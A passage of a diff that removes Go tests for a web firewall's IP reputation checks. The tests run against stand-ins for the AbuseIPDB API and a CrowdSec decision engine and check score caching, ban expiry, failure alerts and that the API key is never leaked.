addr = addr.Next()
|
|
||||||
}
|
|
||||||
|
|
||||||
checker.Load(reputation.Checks{Scores: scores})
|
|
||||||
|
|
||||||
got := checker.Snapshot().Scores
|
|
||||||
if len(got) != count-1 || !slices.Contains(got, scores[0]) ||
|
|
||||||
slices.Contains(got, scores[count-1]) {
|
|
||||||
t.Errorf("%d scores kept, want all but the one fetched longest ago", len(got))
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
// abuseIPDBStandIn is a stand-in for AbuseIPDB. It answers a check sent
|
|
||||||
// with key by the client's score, as scores gives it, 0 for a client it
|
|
||||||
// does not give; a check sent with another key with 401; and, while
|
|
||||||
// status is not 0, every check with status and body; and while hanging,
|
|
||||||
// none at all. It notes each client checked, and the key sent.
|
|
||||||
type abuseIPDBStandIn struct {
|
|
||||||
mu sync.Mutex
|
|
||||||
scores map[string]int64
|
|
||||||
status int
|
|
||||||
body string
|
|
||||||
hanging bool
|
|
||||||
checked []string
|
|
||||||
keys []string
|
|
||||||
}
|
|
||||||
|
|
||||||
// RoundTrip has the stand-in answer req, in place of the network. A check
|
|
||||||
// abandoned before the stand-in answers fails, as over the network.
|
|
||||||
func (s *abuseIPDBStandIn) RoundTrip(req *http.Request) (*http.Response, error) {
|
|
||||||
client := req.URL.Query().Get("ipAddress")
|
|
||||||
sent := req.Header.Get("Key")
|
|
||||||
|
|
||||||
s.mu.Lock()
|
|
||||||
s.checked = append(s.checked, client)
|
|
||||||
s.keys = append(s.keys, sent)
|
|
||||||
score := s.scores[client]
|
|
||||||
status, body, hanging := s.status, s.body, s.hanging
|
|
||||||
s.mu.Unlock()
|
|
||||||
|
|
||||||
switch {
|
|
||||||
case hanging:
|
|
||||||
<-req.Context().Done()
|
|
||||||
|
|
||||||
return nil, req.Context().Err()
|
|
||||||
case sent != key:
|
|
||||||
status = http.StatusUnauthorized
|
|
||||||
case status == 0:
|
|
||||||
status = http.StatusOK
|
|
||||||
body = fmt.Sprintf(`{"data":{"ipAddress":%q,"abuseConfidenceScore":%d}}`, client,
|
|
||||||
score)
|
|
||||||
}
|
|
||||||
|
|
||||||
return &http.Response{
|
|
||||||
StatusCode: status,
|
|
||||||
Status: fmt.Sprintf("%d %s", status, http.StatusText(status)),
|
|
||||||
Header: http.Header{},
|
|
||||||
Body: io.NopCloser(strings.NewReader(body)),
|
|
||||||
Request: req,
|
|
||||||
}, nil
|
|
||||||
}
|
|
||||||
|
|
||||||
// setScore has the stand-in give client score.
|
|
||||||
func (s *abuseIPDBStandIn) setScore(client string, score int64) {
|
|
||||||
s.mu.Lock()
|
|
||||||
defer s.mu.Unlock()
|
|
||||||
|
|
||||||
s.scores[client] = score
|
|
||||||
}
|
|
||||||
|
|
||||||
// answerWith has the stand-in answer every check with status and body.
|
|
||||||
func (s *abuseIPDBStandIn) answerWith(status int, body string) {
|
|
||||||
s.mu.Lock()
|
|
||||||
defer s.mu.Unlock()
|
|
||||||
|
|
||||||
s.status, s.body = status, body
|
|
||||||
}
|
|
||||||
|
|
||||||
// abuseIPDBParams returns the AbuseIPDBParams of the tests: key, a minimum
|
|
||||||
// score of 75, a daily budget of 900, and the cache TTL and timeout of the
|
|
||||||
// DNSBL tests, by the bubble's clock, with alerts to a queue that sends
|
|
||||||
// none.
|
|
||||||
func abuseIPDBParams() reputation.AbuseIPDBParams {
|
|
||||||
return reputation.AbuseIPDBParams{
|
|
||||||
URL: "https://abuseipdb.example/api/v2/check",
|
|
||||||
Key: key,
|
|
||||||
MinScore: 75,
|
|
||||||
DailyBudget: 900,
|
|
||||||
CacheTTL: cacheTTL,
|
|
||||||
Timeout: timeout,
|
|
||||||
Now: time.Now,
|
|
||||||
ProcessLog: slog.New(slog.DiscardHandler),
|
|
||||||
Alerts: newQueue(),
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
// newAbuseIPDB returns the AbuseIPDB of p, checking clients with
|
|
||||||
// abuseIPDB.
|
|
||||||
func newAbuseIPDB(
|
|
||||||
abuseIPDB *abuseIPDBStandIn, p reputation.AbuseIPDBParams,
|
|
||||||
) *reputation.AbuseIPDB {
|
|
||||||
checker := reputation.NewAbuseIPDB(p)
|
|
||||||
checker.SetTransport(abuseIPDB)
|
|
||||||
|
|
||||||
return checker
|
|
||||||
}
|
|
||||||
|
|
||||||
// wantScore checks the score checker gives client, and whether it is a
|
|
||||||
// hit, as a request from client finds them, offender or not.
|
|
||||||
func wantScore(
|
|
||||||
t *testing.T, checker *reputation.AbuseIPDB, client string, offender bool,
|
|
||||||
score int64, hit bool,
|
|
||||||
) {
|
|
||||||
t.Helper()
|
|
||||||
|
|
||||||
gotScore, gotHit := hitFrom(t, checker, client, offender)
|
|
||||||
if gotScore != score || gotHit != hit {
|
|
||||||
t.Errorf("%s has the score %d, a hit %t, want %d, %t", client, gotScore, gotHit,
|
|
||||||
score, hit)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
// hitFrom is checker's Hit for a request from address, offender or not.
|
|
||||||
// Its client is address for an IPv4 address, and its /64 for an IPv6 one,
|
|
||||||
// as smallwebwaf counts clients.
|
|
||||||
func hitFrom(
|
|
||||||
t *testing.T, checker *reputation.AbuseIPDB, address string, offender bool,
|
|
||||||
) (int64, bool) {
|
|
||||||
t.Helper()
|
|
||||||
|
|
||||||
addr := netip.MustParseAddr(address)
|
|
||||||
|
|
||||||
client := netip.PrefixFrom(addr, addr.BitLen())
|
|
||||||
if addr.Is6() {
|
|
||||||
client = netip.PrefixFrom(addr, 64).Masked()
|
|
||||||
}
|
|
||||||
|
|
||||||
return checker.Hit(t.Context(), client, addr, offender)
|
|
||||||
}
|
|
||||||
|
|
||||||
// wantChecked checks the clients the stand-in was asked about, in any
|
|
||||||
// order.
|
|
||||||
func wantChecked(t *testing.T, abuseIPDB *abuseIPDBStandIn, want ...string) {
|
|
||||||
t.Helper()
|
|
||||||
|
|
||||||
abuseIPDB.mu.Lock()
|
|
||||||
got := slices.Sorted(slices.Values(abuseIPDB.checked))
|
|
||||||
abuseIPDB.mu.Unlock()
|
|
||||||
|
|
||||||
want = slices.Sorted(slices.Values(want))
|
|
||||||
|
|
||||||
if !slices.Equal(got, want) {
|
|
||||||
t.Errorf("checked %v, want %v", got, want)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
// wantFailures checks how many checks failed.
|
|
||||||
func wantFailures(t *testing.T, checker *reputation.AbuseIPDB, want int) {
|
|
||||||
t.Helper()
|
|
||||||
|
|
||||||
if got := checker.Failures(); got != want {
|
|
||||||
t.Errorf("%d checks failed, want %d", got, want)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
// wantFailureAlert checks that the one alert waiting in queue is a
|
|
||||||
// source_failure alert from AbuseIPDB, raised at raised, with reason and
|
|
||||||
// the error failure, and that the cooldown has held back held repeats of
|
|
||||||
// it.
|
|
||||||
func wantFailureAlert(
|
|
||||||
t *testing.T, queue *alerts.Queue, raised time.Time, reason, failure string,
|
|
||||||
held int64,
|
|
||||||
) {
|
|
||||||
t.Helper()
|
|
||||||
|
|
||||||
got := waiting(queue)
|
|
||||||
if len(got) != 1 || !got[0].Time.Equal(raised) ||
|
|
||||||
got[0].Event != alerts.EventSourceFailure || got[0].Reason != reason ||
|
|
||||||
got[0].Detail["source"] != reputation.AbuseIPDBSource ||
|
|
||||||
got[0].Detail["error"] != failure || queue.Suppressed() != held {
|
|
||||||
t.Errorf("alerts waiting %+v, %d held back, want only AbuseIPDB's %q with %q, "+
|
|
||||||
"and %d", got, queue.Suppressed(), reason, failure, held)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
// wantBudgetLeft checks how many checks the day's budget has left.
|
|
||||||
func wantBudgetLeft(t *testing.T, checker *reputation.AbuseIPDB, want int) {
|
|
||||||
t.Helper()
|
|
||||||
|
|
||||||
if got := checker.BudgetLeft(); got != want {
|
|
||||||
t.Errorf("%d checks left, want %d", got, want)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
// scrapeMetrics returns the metrics m serves.
|
|
||||||
func scrapeMetrics(t *testing.T, m *metrics.Metrics) string {
|
|
||||||
t.Helper()
|
|
||||||
|
|
||||||
scraped := httptest.NewRecorder()
|
|
||||||
m.ServeHTTP(scraped, httptest.NewRequestWithContext(t.Context(), http.MethodGet, "/",
|
|
||||||
http.NoBody))
|
|
||||||
|
|
||||||
return scraped.Body.String()
|
|
||||||
}
|
|
||||||
@@ -1,513 +0,0 @@
|
|||||||
package reputation_test
|
|
||||||
|
|
||||||
import (
|
|
||||||
"bytes"
|
|
||||||
"encoding/json"
|
|
||||||
"fmt"
|
|
||||||
"io"
|
|
||||||
"log/slog"
|
|
||||||
"net/http"
|
|
||||||
"net/netip"
|
|
||||||
"reflect"
|
|
||||||
"strings"
|
|
||||||
"sync"
|
|
||||||
"testing"
|
|
||||||
"testing/synctest"
|
|
||||||
"time"
|
|
||||||
|
|
||||||
"sneak.berlin/go/smallwebwaf/internal/alerts"
|
|
||||||
"sneak.berlin/go/smallwebwaf/internal/reputation"
|
|
||||||
)
|
|
||||||
|
|
||||||
// The tests run in a synctest bubble, as those of the blocklists do, and
|
|
||||||
// fetch the decision list from engine, a stand-in for a CrowdSec engine
|
|
||||||
// that answers without the network.
|
|
||||||
|
|
||||||
const (
|
|
||||||
// decisionsURL is the decision list of the tests' engine, and engineKey
|
|
||||||
// the key it answers.
|
|
||||||
decisionsURL = "http://crowdsec.example:8080/v1/decisions"
|
|
||||||
engineKey = "crowdsec-key-0123456789abcdef"
|
|
||||||
// sshBF and probing are scenarios of the engine's decisions.
|
|
||||||
sshBF = "crowdsecurity/ssh-bf"
|
|
||||||
probing = "crowdsecurity/http-probing"
|
|
||||||
// ban is the type of a decision to ban, and rangeScope the scope of a
|
|
||||||
// decision on a netblock, as CrowdSec names them.
|
|
||||||
ban = "ban"
|
|
||||||
rangeScope = "Range"
|
|
||||||
)
|
|
||||||
|
|
||||||
func TestCrowdSecDecisionBansItsNetblockUntilItEndsEvenWithTheEngineDown(t *testing.T) {
|
|
||||||
t.Parallel()
|
|
||||||
|
|
||||||
synctest.Test(t, func(t *testing.T) {
|
|
||||||
began := time.Now()
|
|
||||||
manual := "manual 'ban' from 'localhost'"
|
|
||||||
e := &engine{key: engineKey, decisions: []decision{
|
|
||||||
{"Ip", suspect, ban, manual, began.Add(6 * time.Hour)},
|
|
||||||
// A shorter decision on the same address, which is not the one
|
|
||||||
// used.
|
|
||||||
{"Ip", suspect, ban, sshBF, began.Add(4 * time.Hour)},
|
|
||||||
{rangeScope, "198.51.100.0/24", ban, probing, began.Add(time.Hour)},
|
|
||||||
{"Ip", "2001:db8::1", ban, sshBF, began.Add(2 * time.Hour)},
|
|
||||||
// Left out: a decision to show a captcha, and one on a country.
|
|
||||||
{"Ip", "192.0.2.50", "captcha", probing, began.Add(time.Hour)},
|
|
||||||
{"Country", "KP", ban, manual, began.Add(time.Hour)},
|
|
||||||
}}
|
|
||||||
lists := start(t, e, crowdSecParams())
|
|
||||||
|
|
||||||
for addr, want := range map[string]reputation.Decision{
|
|
||||||
suspect: {Expires: began.Add(6 * time.Hour), Scenario: manual},
|
|
||||||
"198.51.100.0": {Expires: began.Add(time.Hour), Scenario: probing},
|
|
||||||
"198.51.100.255": {Expires: began.Add(time.Hour), Scenario: probing},
|
|
||||||
"2001:db8::1": {Expires: began.Add(2 * time.Hour), Scenario: sshBF},
|
|
||||||
"203.0.113.10": {},
|
|
||||||
"198.51.101.0": {},
|
|
||||||
"2001:db8::2": {},
|
|
||||||
"192.0.2.50": {},
|
|
||||||
} {
|
|
||||||
wantDecision(t, lists, addr, want)
|
|
||||||
}
|
|
||||||
|
|
||||||
// With the engine down, the copy kept still holds the decision on
|
|
||||||
// 198.51.100.0/24, which no longer bans once it has ended.
|
|
||||||
e.set(func(e *engine) { e.failing = true })
|
|
||||||
time.Sleep(time.Hour - time.Nanosecond)
|
|
||||||
synctest.Wait()
|
|
||||||
wantDecision(t, lists, "198.51.100.7",
|
|
||||||
reputation.Decision{Expires: began.Add(time.Hour), Scenario: probing})
|
|
||||||
|
|
||||||
time.Sleep(time.Nanosecond)
|
|
||||||
synctest.Wait()
|
|
||||||
wantDecision(t, lists, "198.51.100.7", reputation.Decision{})
|
|
||||||
wantDecision(t, lists, suspect,
|
|
||||||
reputation.Decision{Expires: began.Add(6 * time.Hour), Scenario: manual})
|
|
||||||
})
|
|
||||||
}
|
|
||||||
|
|
||||||
func TestCrowdSecDecisionListFetchedAgainEveryMinute(t *testing.T) {
|
|
||||||
t.Parallel()
|
|
||||||
|
|
||||||
synctest.Test(t, func(t *testing.T) {
|
|
||||||
began := time.Now()
|
|
||||||
e := &engine{key: engineKey, decisions: []decision{
|
|
||||||
{"Ip", suspect, ban, sshBF, began.Add(4 * time.Hour)},
|
|
||||||
}}
|
|
||||||
lists := start(t, e, crowdSecParams())
|
|
||||||
wantEngineFetches(t, e, 1)
|
|
||||||
|
|
||||||
added := reputation.Decision{Expires: began.Add(2 * time.Hour), Scenario: probing}
|
|
||||||
|
|
||||||
e.set(func(e *engine) {
|
|
||||||
e.decisions = append(e.decisions,
|
|
||||||
decision{"Ip", "203.0.113.10", ban, probing, added.Expires})
|
|
||||||
})
|
|
||||||
|
|
||||||
time.Sleep(time.Minute - time.Nanosecond)
|
|
||||||
wantEngineFetches(t, e, 1)
|
|
||||||
wantDecision(t, lists, "203.0.113.10", reputation.Decision{})
|
|
||||||
|
|
||||||
time.Sleep(time.Nanosecond)
|
|
||||||
wantEngineFetches(t, e, 2)
|
|
||||||
wantDecision(t, lists, "203.0.113.10", added)
|
|
||||||
})
|
|
||||||
}
|
|
||||||
|
|
||||||
func TestCrowdSecDecisionOnAClientIsTheOneThatEndsLast(t *testing.T) {
|
|
||||||
t.Parallel()
|
|
||||||
|
|
||||||
synctest.Test(t, func(t *testing.T) {
|
|
||||||
began := time.Now()
|
|
||||||
e := &engine{key: engineKey, decisions: []decision{
|
|
||||||
// Two decisions on one address, the shorter listed first.
|
|
||||||
{"Ip", suspect, ban, sshBF, began.Add(2 * time.Hour)},
|
|
||||||
{"Ip", suspect, ban, probing, began.Add(4 * time.Hour)},
|
|
||||||
// 198.51.100.130 is held by a decision on its address that ends
|
|
||||||
// after the one on its netblock, and 192.0.2.20 by one that ends
|
|
||||||
// before.
|
|
||||||
{rangeScope, "198.51.100.128/25", ban, sshBF, began.Add(time.Hour)},
|
|
||||||
{"Ip", "198.51.100.130", ban, probing, began.Add(3 * time.Hour)},
|
|
||||||
{rangeScope, "192.0.2.0/24", ban, probing, began.Add(5 * time.Hour)},
|
|
||||||
{"Ip", "192.0.2.20", ban, sshBF, began.Add(2 * time.Hour)},
|
|
||||||
}}
|
|
||||||
lists := start(t, e, crowdSecParams())
|
|
||||||
|
|
||||||
wantDecision(t, lists, suspect,
|
|
||||||
reputation.Decision{Expires: began.Add(4 * time.Hour), Scenario: probing})
|
|
||||||
wantDecision(t, lists, "198.51.100.130",
|
|
||||||
reputation.Decision{Expires: began.Add(3 * time.Hour), Scenario: probing})
|
|
||||||
wantDecision(t, lists, "192.0.2.20",
|
|
||||||
reputation.Decision{Expires: began.Add(5 * time.Hour), Scenario: probing})
|
|
||||||
})
|
|
||||||
}
|
|
||||||
|
|
||||||
func TestCrowdSecAnswerOfNoDecisionIsAGoodCopyThatListsNoClient(t *testing.T) {
|
|
||||||
t.Parallel()
|
|
||||||
|
|
||||||
synctest.Test(t, func(t *testing.T) {
|
|
||||||
began := time.Now()
|
|
||||||
e := &engine{key: engineKey, decisions: []decision{
|
|
||||||
{"Ip", suspect, ban, sshBF, began.Add(4 * time.Hour)},
|
|
||||||
}}
|
|
||||||
lists := start(t, e, crowdSecParams())
|
|
||||||
|
|
||||||
// With its decision deleted, the engine answers null.
|
|
||||||
e.set(func(e *engine) { e.decisions = nil })
|
|
||||||
time.Sleep(time.Minute)
|
|
||||||
wantEngineFetches(t, e, 2)
|
|
||||||
|
|
||||||
want := []reputation.List{{
|
|
||||||
URL: decisionsURL, Tried: time.Now(), Fetched: time.Now(), Lines: []string{"null"},
|
|
||||||
}}
|
|
||||||
if got := lists.Snapshot(); !reflect.DeepEqual(got, want) {
|
|
||||||
t.Errorf("lists %+v, want %+v", got, want)
|
|
||||||
}
|
|
||||||
|
|
||||||
if lists.Failures(decisionsURL) != 0 {
|
|
||||||
t.Errorf("%d failures, want 0", lists.Failures(decisionsURL))
|
|
||||||
}
|
|
||||||
|
|
||||||
wantDecision(t, lists, suspect, reputation.Decision{})
|
|
||||||
})
|
|
||||||
}
|
|
||||||
|
|
||||||
func TestCrowdSecFailureKeepsTheLastGoodCopyAlertsOncePerCooldownAndHidesTheKey(
|
|
||||||
t *testing.T,
|
|
||||||
) {
|
|
||||||
t.Parallel()
|
|
||||||
|
|
||||||
for _, tc := range crowdSecFailures() {
|
|
||||||
t.Run(tc.name, func(t *testing.T) {
|
|
||||||
t.Parallel()
|
|
||||||
|
|
||||||
synctest.Test(t, func(t *testing.T) {
|
|
||||||
var log bytes.Buffer
|
|
||||||
|
|
||||||
began := time.Now()
|
|
||||||
e := &engine{key: engineKey, decisions: []decision{
|
|
||||||
{"Ip", suspect, ban, sshBF, began.Add(4 * time.Hour)},
|
|
||||||
}}
|
|
||||||
queue := newQueue()
|
|
||||||
p := crowdSecParams()
|
|
||||||
p.ProcessLog = slog.New(slog.NewJSONHandler(&log, nil))
|
|
||||||
p.Alerts = queue
|
|
||||||
lists := start(t, e, p)
|
|
||||||
kept := lists.Snapshot()
|
|
||||||
|
|
||||||
e.set(tc.fail)
|
|
||||||
|
|
||||||
// Each failure is tried again a minute after it.
|
|
||||||
for range 2 {
|
|
||||||
time.Sleep(time.Minute)
|
|
||||||
synctest.Wait()
|
|
||||||
}
|
|
||||||
|
|
||||||
wantEngineFetches(t, e, 3)
|
|
||||||
wantDecision(t, lists, suspect,
|
|
||||||
reputation.Decision{Expires: began.Add(4 * time.Hour), Scenario: sshBF})
|
|
||||||
|
|
||||||
want := kept[0]
|
|
||||||
want.Tried = time.Now()
|
|
||||||
|
|
||||||
if got := lists.Snapshot(); !reflect.DeepEqual(got, []reputation.List{want}) {
|
|
||||||
t.Errorf("lists %+v, want the first copy, last tried now, %+v", got, want)
|
|
||||||
}
|
|
||||||
|
|
||||||
if lists.Failures(decisionsURL) != 2 {
|
|
||||||
t.Errorf("%d failures, want 2", lists.Failures(decisionsURL))
|
|
||||||
}
|
|
||||||
|
|
||||||
// One alert for the first failure; the cooldown holds back the
|
|
||||||
// second.
|
|
||||||
wantAlert(t, queue,
|
|
||||||
fetchFailure(time.Now().Add(-time.Minute), decisionsURL, tc.error))
|
|
||||||
|
|
||||||
if !strings.Contains(log.String(), `"msg":"fetching a list failed",`+
|
|
||||||
`"url":"`+decisionsURL+`","error":"`+tc.error) {
|
|
||||||
t.Errorf("logged\n%s\nwant the failures", log.String())
|
|
||||||
}
|
|
||||||
|
|
||||||
wantKeyNotShown(t, e, log.String(), lists, queue)
|
|
||||||
})
|
|
||||||
})
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
// crowdSecFailure is a way for the engine to fail: fail has it answer the
|
|
||||||
// fetches after the first so that they fail with error.
|
|
||||||
type crowdSecFailure struct {
|
|
||||||
name string
|
|
||||||
fail func(e *engine)
|
|
||||||
error string
|
|
||||||
}
|
|
||||||
|
|
||||||
// crowdSecFailures returns the ways the engine can fail.
|
|
||||||
func crowdSecFailures() []crowdSecFailure {
|
|
||||||
const notDecision = " does not give an address or a netblock and a duration, " +
|
|
||||||
"such as 4h0m0s"
|
|
||||||
|
|
||||||
return []crowdSecFailure{
|
|
||||||
{
|
|
||||||
"an answer other than 200",
|
|
||||||
func(e *engine) { e.failing = true },
|
|
||||||
"the server answered 503 Service Unavailable",
|
|
||||||
},
|
|
||||||
{
|
|
||||||
"a key the engine refuses",
|
|
||||||
func(e *engine) { e.key = "another-key-0123456789abcdef" },
|
|
||||||
"the server answered 403 Forbidden",
|
|
||||||
},
|
|
||||||
{
|
|
||||||
"a redirect",
|
|
||||||
func(e *engine) { e.redirect = "http://elsewhere.example/v1/decisions" },
|
|
||||||
"the server answered 302 Found",
|
|
||||||
},
|
|
||||||
{
|
|
||||||
"an answer that does not read",
|
|
||||||
func(e *engine) { e.answer = "<html>" },
|
|
||||||
"read the answer: invalid character '<' looking for beginning of value",
|
|
||||||
},
|
|
||||||
{
|
|
||||||
"a decision to ban whose value does not read",
|
|
||||||
func(e *engine) {
|
|
||||||
e.answer = `[{"duration": "4h", "scenario": "` + sshBF + `", ` +
|
|
||||||
`"scope": "Ip", "type": "ban", "value": "203.0.113.300"}]`
|
|
||||||
},
|
|
||||||
"decision 1" + notDecision,
|
|
||||||
},
|
|
||||||
{
|
|
||||||
"a decision to ban whose duration does not read",
|
|
||||||
func(e *engine) {
|
|
||||||
e.answer = `[{"duration": "4h", "scope": "Country", "type": "ban", ` +
|
|
||||||
`"value": "KP"}, {"duration": "four hours", "scope": "Range", ` +
|
|
||||||
`"type": "ban", "value": "198.51.100.0/24"}]`
|
|
||||||
},
|
|
||||||
"decision 2" + notDecision,
|
|
||||||
},
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
// wantKeyNotShown checks that no fetch carried the engine's key to a URL
|
|
||||||
// other than its decision list, such as the one a redirect names, and that
|
|
||||||
// the key is in none of what the fetches leave behind: log, the process
|
|
||||||
// log, the alerts waiting in queue, and the copies of lists, which
|
|
||||||
// reputation.json keeps.
|
|
||||||
func wantKeyNotShown(
|
|
||||||
t *testing.T, e *engine, log string, lists *reputation.Lists, queue *alerts.Queue,
|
|
||||||
) {
|
|
||||||
t.Helper()
|
|
||||||
|
|
||||||
e.mu.Lock()
|
|
||||||
keySentTo := e.keySentTo
|
|
||||||
e.mu.Unlock()
|
|
||||||
|
|
||||||
if len(keySentTo) != 0 {
|
|
||||||
t.Errorf("the key was sent to %v", keySentTo)
|
|
||||||
}
|
|
||||||
|
|
||||||
shown, err := json.Marshal([]any{lists.Snapshot(), waiting(queue)})
|
|
||||||
if err != nil {
|
|
||||||
t.Fatalf("encode: %v", err)
|
|
||||||
}
|
|
||||||
|
|
||||||
if strings.Contains(log+string(shown), engineKey) {
|
|
||||||
t.Errorf("the key is shown in\n%s\n%s", log, shown)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
func TestCrowdSecDecisionListKeptAcrossARestartEndsWhenItsDecisionsDo(t *testing.T) {
|
|
||||||
t.Parallel()
|
|
||||||
|
|
||||||
synctest.Test(t, func(t *testing.T) {
|
|
||||||
began := time.Now()
|
|
||||||
e := &engine{key: engineKey, decisions: []decision{
|
|
||||||
{rangeScope, "198.51.100.0/24", ban, probing, began.Add(time.Hour)},
|
|
||||||
}}
|
|
||||||
lists := start(t, e, crowdSecParams())
|
|
||||||
kept := lists.Snapshot()
|
|
||||||
|
|
||||||
// Restarted half an hour later with what reputation.json keeps, and
|
|
||||||
// the engine down, the decision still bans, until the end it had at
|
|
||||||
// the fetch, half an hour on.
|
|
||||||
time.Sleep(30 * time.Minute)
|
|
||||||
|
|
||||||
down := &engine{key: engineKey, failing: true}
|
|
||||||
again := reputation.New(crowdSecParams())
|
|
||||||
again.SetTransport(down)
|
|
||||||
|
|
||||||
err := again.Load(kept)
|
|
||||||
if err != nil {
|
|
||||||
t.Fatalf("load: %v", err)
|
|
||||||
}
|
|
||||||
|
|
||||||
run(t, again)
|
|
||||||
|
|
||||||
want := reputation.Decision{Expires: began.Add(time.Hour), Scenario: probing}
|
|
||||||
wantDecision(t, again, "198.51.100.7", want)
|
|
||||||
|
|
||||||
time.Sleep(30*time.Minute - time.Nanosecond)
|
|
||||||
synctest.Wait()
|
|
||||||
wantDecision(t, again, "198.51.100.7", want)
|
|
||||||
|
|
||||||
time.Sleep(time.Nanosecond)
|
|
||||||
synctest.Wait()
|
|
||||||
wantDecision(t, again, "198.51.100.7", reputation.Decision{})
|
|
||||||
})
|
|
||||||
}
|
|
||||||
|
|
||||||
func TestLoadTakesACrowdSecListNeverFetchedAndRefusesACopyThatDoesNotRead(
|
|
||||||
t *testing.T,
|
|
||||||
) {
|
|
||||||
t.Parallel()
|
|
||||||
|
|
||||||
now := time.Date(2026, 10, 6, 0, 0, 0, 0, time.UTC)
|
|
||||||
lists := reputation.New(crowdSecParams())
|
|
||||||
|
|
||||||
// Tried, and never fetched: there is no copy to read.
|
|
||||||
err := lists.Load([]reputation.List{{URL: decisionsURL, Tried: now}})
|
|
||||||
if err != nil {
|
|
||||||
t.Errorf("load the list never fetched: %v", err)
|
|
||||||
}
|
|
||||||
|
|
||||||
err = lists.Load([]reputation.List{{
|
|
||||||
URL: decisionsURL, Tried: now, Fetched: now, Lines: []string{
|
|
||||||
`[{"duration": "4h", "scope": "Range", "type": "ban", ` +
|
|
||||||
`"value": "198.51.100.0/33"}]`,
|
|
||||||
},
|
|
||||||
}})
|
|
||||||
|
|
||||||
const want = "the copy of " + decisionsURL + ": decision 1 does not give an " +
|
|
||||||
"address or a netblock and a duration, such as 4h0m0s"
|
|
||||||
if err == nil || err.Error() != want {
|
|
||||||
t.Errorf("error %v, want %s", err, want)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
// engine is a stand-in for the local API of a CrowdSec engine. It answers
|
|
||||||
// a fetch of the decision list that carries its key in X-Api-Key with its
|
|
||||||
// decisions still in force, each with the time it has left as it answers,
|
|
||||||
// by the bubble's clock, as an engine does, or with answer while that is
|
|
||||||
// not "". It answers 403 to a fetch without its key, as an engine does,
|
|
||||||
// with a redirect to redirect while that is not "", and 503 while failing.
|
|
||||||
// It counts the fetches, and notes in keySentTo the URL of each fetch of
|
|
||||||
// another URL that carries a key, as one following a redirect would.
|
|
||||||
type engine struct {
|
|
||||||
mu sync.Mutex
|
|
||||||
key string
|
|
||||||
decisions []decision
|
|
||||||
answer string
|
|
||||||
redirect string
|
|
||||||
failing bool
|
|
||||||
fetches int
|
|
||||||
keySentTo []string
|
|
||||||
}
|
|
||||||
|
|
||||||
// decision is a decision of the engine, which ends at expires.
|
|
||||||
type decision struct {
|
|
||||||
scope, value, kind, scenario string
|
|
||||||
expires time.Time
|
|
||||||
}
|
|
||||||
|
|
||||||
// RoundTrip has the engine answer req, in place of the network.
|
|
||||||
func (e *engine) RoundTrip(req *http.Request) (*http.Response, error) {
|
|
||||||
e.mu.Lock()
|
|
||||||
defer e.mu.Unlock()
|
|
||||||
|
|
||||||
e.fetches++
|
|
||||||
|
|
||||||
if req.URL.String() != decisionsURL && req.Header.Get("X-Api-Key") != "" {
|
|
||||||
e.keySentTo = append(e.keySentTo, req.URL.String())
|
|
||||||
}
|
|
||||||
|
|
||||||
status, header, body := http.StatusOK, http.Header{}, e.answer
|
|
||||||
|
|
||||||
switch {
|
|
||||||
case req.URL.String() != decisionsURL || req.Header.Get("X-Api-Key") != e.key:
|
|
||||||
status, body = http.StatusForbidden, `{"message":"access forbidden"}`
|
|
||||||
case e.redirect != "":
|
|
||||||
status, header = http.StatusFound, http.Header{"Location": {e.redirect}}
|
|
||||||
case e.failing:
|
|
||||||
status, body = http.StatusServiceUnavailable, ""
|
|
||||||
case body == "":
|
|
||||||
body = e.inForce(time.Now())
|
|
||||||
}
|
|
||||||
|
|
||||||
return &http.Response{
|
|
||||||
StatusCode: status,
|
|
||||||
Status: fmt.Sprintf("%d %s", status, http.StatusText(status)),
|
|
||||||
Header: header,
|
|
||||||
Body: io.NopCloser(strings.NewReader(body)),
|
|
||||||
Request: req,
|
|
||||||
}, nil
|
|
||||||
}
|
|
||||||
|
|
||||||
// inForce returns the decisions in force at now, as the engine answers
|
|
||||||
// them: a JSON list, null for none.
|
|
||||||
func (e *engine) inForce(now time.Time) string {
|
|
||||||
var answer []map[string]string
|
|
||||||
|
|
||||||
for _, d := range e.decisions {
|
|
||||||
if now.Before(d.expires) {
|
|
||||||
answer = append(answer, map[string]string{
|
|
||||||
"duration": d.expires.Sub(now).String(), "origin": "crowdsec",
|
|
||||||
"scenario": d.scenario, "scope": d.scope, "type": d.kind, "value": d.value,
|
|
||||||
})
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
body, err := json.Marshal(answer)
|
|
||||||
if err != nil {
|
|
||||||
panic(err) // a list of maps of strings always encodes
|
|
||||||
}
|
|
||||||
|
|
||||||
return string(body)
|
|
||||||
}
|
|
||||||
|
|
||||||
// set changes the engine with change.
|
|
||||||
func (e *engine) set(change func(e *engine)) {
|
|
||||||
e.mu.Lock()
|
|
||||||
defer e.mu.Unlock()
|
|
||||||
|
|
||||||
change(e)
|
|
||||||
}
|
|
||||||
|
|
||||||
// crowdSecParams returns the Params of the decision list of the tests'
|
|
||||||
// engine, fetched with its key, by the bubble's clock, with alerts to a
|
|
||||||
// queue that sends none.
|
|
||||||
func crowdSecParams() reputation.Params {
|
|
||||||
p := params()
|
|
||||||
p.CrowdSecDecisionsURL = decisionsURL
|
|
||||||
p.CrowdSecKey = engineKey
|
|
||||||
|
|
||||||
return p
|
|
||||||
}
|
|
||||||
|
|
||||||
// wantEngineFetches waits until Run has made the fetches due, and checks
|
|
||||||
// how many the engine has had.
|
|
||||||
func wantEngineFetches(t *testing.T, e *engine, want int) {
|
|
||||||
t.Helper()
|
|
||||||
|
|
||||||
synctest.Wait()
|
|
||||||
|
|
||||||
e.mu.Lock()
|
|
||||||
got := e.fetches
|
|
||||||
e.mu.Unlock()
|
|
||||||
|
|
||||||
if got != want {
|
|
||||||
t.Errorf("%d fetches, want %d", got, want)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
// wantDecision checks the decision lists says is in force on addr now,
|
|
